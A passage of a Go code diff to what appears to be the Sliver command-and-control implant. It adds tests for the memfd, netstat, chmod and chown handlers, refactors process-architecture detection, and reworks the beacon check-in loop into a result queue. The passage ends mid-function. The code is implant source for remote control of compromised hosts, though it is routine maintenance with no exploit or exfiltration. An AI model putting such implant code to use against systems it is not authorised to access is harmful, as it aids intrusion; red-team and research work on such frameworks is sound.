"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestMemfilesAddAndRemoveLifecycle(t *testing.T) {
|
||||
var addResponse *sliverpb.MemfilesAdd
|
||||
memfilesAddHandler(nil, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesAddHandler callback error: %v", handlerErr)
|
||||
}
|
||||
addResponse = &sliverpb.MemfilesAdd{}
|
||||
if err := proto.Unmarshal(data, addResponse); err != nil {
|
||||
t.Fatalf("decode add response: %v", err)
|
||||
}
|
||||
})
|
||||
if addResponse == nil {
|
||||
t.Fatal("memfilesAddHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := addResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesAddHandler returned error: %s", errText)
|
||||
}
|
||||
if addResponse.Fd < 3 {
|
||||
t.Fatalf("memfilesAddHandler returned invalid fd %d", addResponse.Fd)
|
||||
}
|
||||
fd := int(addResponse.Fd)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd)
|
||||
link, err := os.Readlink(fdPath)
|
||||
if err != nil {
|
||||
t.Fatalf("read memfd link: %v", err)
|
||||
}
|
||||
if !strings.Contains(link, "/memfd:") {
|
||||
t.Fatalf("fd link %q does not identify a memfd", link)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.MemfilesRmReq{Fd: addResponse.Fd})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var removeResponse *sliverpb.MemfilesRm
|
||||
memfilesRmHandler(request, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesRmHandler callback error: %v", handlerErr)
|
||||
}
|
||||
removeResponse = &sliverpb.MemfilesRm{}
|
||||
if err := proto.Unmarshal(data, removeResponse); err != nil {
|
||||
t.Fatalf("decode remove response: %v", err)
|
||||
}
|
||||
})
|
||||
if removeResponse == nil {
|
||||
t.Fatal("memfilesRmHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := removeResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesRmHandler returned error: %s", errText)
|
||||
}
|
||||
if _, err := os.Readlink(fdPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("memfd still accessible after removal: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestNetstatHandlerRespondsWithoutTCP(t *testing.T) {
|
||||
request, err := proto.Marshal(&sliverpb.NetstatReq{UDP: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
netstatHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("netstatHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Netstat{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode netstat response: %v", err)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("netstatHandler did not respond to a request without TCP")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uidStr string
|
||||
var gidStr string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uidStr = chownReq.Uid
|
||||
usr, err = user.Lookup(uidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gidStr = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestUnixPermissionHandlersRegistered(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{sliverpb.MsgChmodReq, sliverpb.MsgChownReq} {
|
||||
if _, ok := handlers[messageType]; !ok {
|
||||
t.Fatalf("message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChmodHandlerRecursive(t *testing.T) {
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
nested := filepath.Join(target, "nested")
|
||||
file := filepath.Join(nested, "fixture.txt")
|
||||
if err := os.MkdirAll(nested, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChmodReq{Path: target, FileMode: "0750", Recursive: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chmodHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chmodHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chmod{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chmod response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chmodHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chmodHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chmodHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
for _, path := range []string{target, nested, file} {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := info.Mode().Perm(); got != 0o750 {
|
||||
t.Errorf("%s mode = %o, want 750", path, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChownHandlerRecursiveCurrentOwner(t *testing.T) {
|
||||
current, group, wantUID, wantGID := currentOwner(t)
|
||||
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
file := filepath.Join(target, "fixture.txt")
|
||||
if err := os.MkdirAll(target, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChownReq{
|
||||
Path: target, Uid: current.Username, Gid: group.Name, Recursive: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chownHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chownHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chown{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chown response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chownHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chownHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chownHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
assertOwner(t, []string{target, file}, wantUID, wantGID)
|
||||
}
|
||||
|
||||
func currentOwner(t *testing.T) (*user.User, *user.Group, uint64, uint64) {
|
||||
t.Helper()
|
||||
current, err := user.Current()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
group, err := user.LookupGroupId(current.Gid)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantUID, err := strconv.ParseUint(current.Uid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantGID, err := strconv.ParseUint(group.Gid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return current, group, wantUID, wantGID
|
||||
}
|
||||
|
||||
func assertOwner(t *testing.T, paths []string, wantUID uint64, wantGID uint64) {
|
||||
t.Helper()
|
||||
for _, path := range paths {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
stat, ok := info.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
t.Fatalf("%s stat type = %T, want *syscall.Stat_t", path, info.Sys())
|
||||
}
|
||||
if uint64(stat.Uid) != wantUID || uint64(stat.Gid) != wantGID {
|
||||
t.Errorf("%s owner = %d:%d, want %d:%d", path, stat.Uid, stat.Gid, wantUID, wantGID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -912,63 +912,8 @@ func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewWindowsExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support UID
|
||||
|
||||
@@ -201,10 +201,10 @@ func netstatHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
entries = append(entries, buildEntries("tcp6", tabs)...)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err := proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err = proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEntry {
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
// Package ps provides process enumeration and architecture detection.
|
||||
package ps
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestArchitectureFromELFMachine(t *testing.T) {
|
||||
tests := map[uint16]string{
|
||||
3: "x86",
|
||||
62: "x86_64",
|
||||
183: "aarch64",
|
||||
179: "",
|
||||
}
|
||||
for machine, expected := range tests {
|
||||
if actual := architectureFromELFMachine(machine); actual != expected {
|
||||
t.Errorf("machine %d: got %q, want %q", machine, actual, expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestArchitectureFromWindowsMachines(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
processMachine uint16
|
||||
nativeMachine uint16
|
||||
expected string
|
||||
}{
|
||||
{name: "x86 on amd64", processMachine: 0x014c, nativeMachine: 0x8664, expected: "x86"},
|
||||
{name: "x86 on arm64", processMachine: 0x014c, nativeMachine: 0xaa64, expected: "x86"},
|
||||
{name: "native amd64", nativeMachine: 0x8664, expected: "x86_64"},
|
||||
{name: "native arm64", nativeMachine: 0xaa64, expected: "arm64"},
|
||||
{name: "exact amd64", processMachine: 0x8664, nativeMachine: 0xaa64, expected: "x86_64"},
|
||||
{name: "unknown", processMachine: 0xffff, nativeMachine: 0xaa64, expected: ""},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
actual := architectureFromWindowsMachines(test.processMachine, test.nativeMachine)
|
||||
if actual != test.expected {
|
||||
t.Fatalf("got %q, want %q", actual, test.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -56,3 +56,36 @@ func Kill(pid int) error {
|
||||
}
|
||||
return p.Kill()
|
||||
}
|
||||
|
||||
func architectureFromELFMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 3:
|
||||
return "x86"
|
||||
case 62:
|
||||
return "x86_64"
|
||||
case 183:
|
||||
return "aarch64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 0x014c:
|
||||
return "x86"
|
||||
case 0x8664:
|
||||
return "x86_64"
|
||||
case 0xaa64:
|
||||
return "arm64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachines(processMachine, nativeMachine uint16) string {
|
||||
if processMachine != 0 {
|
||||
return architectureFromWindowsMachine(processMachine)
|
||||
}
|
||||
return architectureFromWindowsMachine(nativeMachine)
|
||||
}
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
@@ -114,16 +115,7 @@ func getProcessArchitecture(pid int) (string, error) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if mach[0] == 0xb3 {
|
||||
return "aarch64", nil
|
||||
}
|
||||
if mach[0] == 0x03 {
|
||||
return "x86", nil
|
||||
}
|
||||
if mach[0] == 0x3e {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "", err
|
||||
return architectureFromELFMachine(binary.LittleEndian.Uint16(mach)), nil
|
||||
}
|
||||
|
||||
// Refresh reloads all the data associated with this process.
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -14,6 +15,16 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const processMachineTypeInfo = 9
|
||||
|
||||
type processMachineInformation struct {
|
||||
ProcessMachine uint16
|
||||
Reserved uint16
|
||||
MachineAttributes uint32
|
||||
}
|
||||
|
||||
var getProcessInformation = windows.NewLazySystemDLL("kernel32.dll").NewProc("GetProcessInformation")
|
||||
|
||||
// WindowsProcess is an implementation of Process for Windows.
|
||||
type WindowsProcess struct {
|
||||
pid int
|
||||
@@ -267,32 +278,7 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
|
||||
}
|
||||
|
||||
var nativeArch string = ""
|
||||
var nativeArchLookup bool = true
|
||||
|
||||
func getProcessArchitecture(pid uint32) (string, error) {
|
||||
|
||||
if nativeArchLookup {
|
||||
nativeArchLookup = false
|
||||
if runtime.GOARCH == "amd64" {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
nativeArch = ""
|
||||
} else {
|
||||
if !is64Bit {
|
||||
nativeArch = "x86"
|
||||
} else {
|
||||
nativeArch = "x86_64"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
proc, err := syscall.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION,
|
||||
false,
|
||||
@@ -309,22 +295,74 @@ func getProcessArchitecture(pid uint32) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
arch := ""
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
|
||||
if isWow64 {
|
||||
arch = "x86"
|
||||
} else {
|
||||
arch = nativeArch
|
||||
arch, queryErr := queryProcessArchitecture(windows.Handle(proc))
|
||||
closeErr := syscall.CloseHandle(proc)
|
||||
if queryErr != nil {
|
||||
return "", queryErr
|
||||
}
|
||||
if closeErr != nil {
|
||||
return "", closeErr
|
||||
}
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
func queryProcessArchitecture(handle windows.Handle) (string, error) {
|
||||
if arch, err := processMachineArchitecture(handle); err == nil && arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
var processMachine, nativeMachine uint16
|
||||
if err := windows.IsWow64Process2(handle, &processMachine, &nativeMachine); err == nil {
|
||||
if arch := architectureFromWindowsMachines(processMachine, nativeMachine); arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
}
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(handle, &isWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if isWow64 {
|
||||
return "x86", nil
|
||||
}
|
||||
|
||||
return arch, err
|
||||
switch runtime.GOARCH {
|
||||
case "amd64":
|
||||
return "x86_64", nil
|
||||
case "arm64":
|
||||
return "arm64", nil
|
||||
case "386":
|
||||
var currentIsWow64 bool
|
||||
if err := windows.IsWow64Process(windows.CurrentProcess(), ¤tIsWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if currentIsWow64 {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "x86", nil
|
||||
default:
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
func processMachineArchitecture(handle windows.Handle) (string, error) {
|
||||
if err := getProcessInformation.Find(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
info := processMachineInformation{}
|
||||
result, _, callErr := getProcessInformation.Call(
|
||||
uintptr(handle),
|
||||
uintptr(processMachineTypeInfo),
|
||||
uintptr(unsafe.Pointer(&info)),
|
||||
unsafe.Sizeof(info),
|
||||
)
|
||||
if result == 0 {
|
||||
if callErr != nil && !errors.Is(callErr, syscall.Errno(0)) {
|
||||
return "", callErr
|
||||
}
|
||||
return "", syscall.EINVAL
|
||||
}
|
||||
return architectureFromWindowsMachine(info.ProcessMachine), nil
|
||||
}
|
||||
|
||||
func getSessionID(pid uint32) (int, error) {
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestGetProcessArchitectureCurrentProcess(t *testing.T) {
|
||||
expected := map[string]string{
|
||||
"386": "x86",
|
||||
"amd64": "x86_64",
|
||||
"arm64": "arm64",
|
||||
}[runtime.GOARCH]
|
||||
if expected == "" {
|
||||
t.Skipf("unsupported test architecture %s", runtime.GOARCH)
|
||||
}
|
||||
|
||||
actual, err := getProcessArchitecture(uint32(os.Getpid()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if actual != expected {
|
||||
t.Fatalf("got %q, want %q", actual, expected)
|
||||
}
|
||||
}
|
||||
@@ -149,6 +149,7 @@ func beaconStartup() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
pendingResults := &beaconResultQueue{}
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -161,7 +162,7 @@ func beaconStartup() {
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
err := beaconMainLoop(beacon)
|
||||
err := beaconMainLoop(beacon, pendingResults)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
@@ -217,7 +218,38 @@ func sessionStartup() {
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
type beaconResultQueue struct {
|
||||
mu sync.Mutex
|
||||
results []*sliverpb.Envelope
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) add(result *sliverpb.Envelope) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.results = append(q.results, result)
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) drain() []*sliverpb.Envelope {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
results := q.results
|
||||
q.results = nil
|
||||
return results
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) prepend(results []*sliverpb.Envelope) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
combined := make([]*sliverpb.Envelope, 0, len(results)+len(q.results))
|
||||
combined = append(combined, results...)
|
||||
combined = append(combined, q.results...)
|
||||
q.results = combined
|
||||
}
|
||||
|
||||
func beaconMainLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue) error {
|
||||
// Register beacon
|
||||
err := beacon.Init()
|
||||
if err != nil {
|
||||
@@ -250,7 +282,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Registering beacon with server")
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
@@ -264,44 +295,40 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
|
||||
// BeaconMain - Tasks run in background goroutines, check-ins happen on schedule
|
||||
// Results are collected and sent on subsequent check-ins
|
||||
pendingResults := make(chan *sliverpb.Envelope, 100)
|
||||
errors := make(chan error)
|
||||
shortCircuit := make(chan struct{})
|
||||
return beaconCheckinLoop(beacon, pendingResults, beaconMain)
|
||||
}
|
||||
|
||||
type beaconCheckinFunc func(*transports.Beacon, time.Time, *beaconResultQueue) error
|
||||
|
||||
// beaconCheckinLoop schedules check-ins without overlapping them. Beacon
|
||||
// transport callbacks share per-check-in connection state, so the previous
|
||||
// check-in must finish closing its resources before the next one can start.
|
||||
func beaconCheckinLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue, checkin beaconCheckinFunc) error {
|
||||
for {
|
||||
duration := beacon.Duration()
|
||||
nextCheckin = time.Now().Add(duration)
|
||||
|
||||
go func() {
|
||||
oldInterval := beacon.Interval()
|
||||
err := beaconMain(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
errors <- err
|
||||
} else if oldInterval != beacon.Interval() {
|
||||
// The beacon's interval was modified so we need to short circuit
|
||||
// the current sleep and tell the server when the next checkin will
|
||||
// be based on the new interval.
|
||||
shortCircuit <- struct{}{}
|
||||
}
|
||||
}()
|
||||
nextCheckin := time.Now().Add(duration)
|
||||
oldInterval := beacon.Interval()
|
||||
err := checkin(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
